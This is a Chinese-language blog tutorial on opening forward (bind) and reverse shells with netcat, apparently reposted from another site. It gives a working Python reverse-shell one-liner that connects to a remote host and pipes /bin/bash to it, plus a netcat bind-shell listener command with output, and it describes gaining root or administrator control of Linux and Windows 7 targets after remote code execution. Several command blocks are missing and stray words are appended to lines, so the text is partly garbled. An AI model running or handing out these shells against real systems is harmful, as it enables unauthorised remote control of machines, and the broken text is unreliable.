使用netcat的正向 / 反向shell

  • reverse shell

  • bind shell

reverse shell描述图:python

 

在此示例中,目标使用端口4444反向链接攻击主机。-e选项将Bash shell发回攻击主机。请注意,咱们也能够在Windows的cmd.exe上使用-e选项。假设咱们已经在目标主机上找到了远程代码执行(RCE)漏洞。咱们能够在目标主机上使用-e发出Netcat命令,并使用Netcat发出命令启动反向shell。linux

先启动攻击端的监听:shell

 

再在目标端启动反向shell:bash

 linux服务器

而后能够在攻击端控制目标端的服务器,以root权限;socket

 

win7spa

而后能够在攻击端控制目标端的win7系统,以administrator权限;code

 

python的反向shell:blog

 

import os,socket,subprocess; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('192.168.0.21',8080)) #重定向shell输出
os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) #执行子程序
p=subprocess.call(['/bin/bash','-i'])

 

 


 

 

 

正向bind Shell

 

 

在该图中,目标使用Netcat侦听器将Bash shell绑定到它特定端口4444。攻击者使用简单的Netcat命令链接到此端口。设置bind shell的步骤以下:cmd

 

使用Netcat将一个bash shell绑定到4444端口。 从攻击主机链接到端口4444上的目标主机。 从攻击主机发出命令到目标主机上。

 

 

 

 

 

root@kali:~# nc -lvp 4444 -e /bin/sh
listening on [any] 4444 ...
10.1.20.x: inverse host lookup failed: Unknown host
connect to [10.1.20.x] from (UNKNOWN) [10.1.20.x] 6065
root@kali:~# a

 

 

 

 

相关文章
相关标签/搜索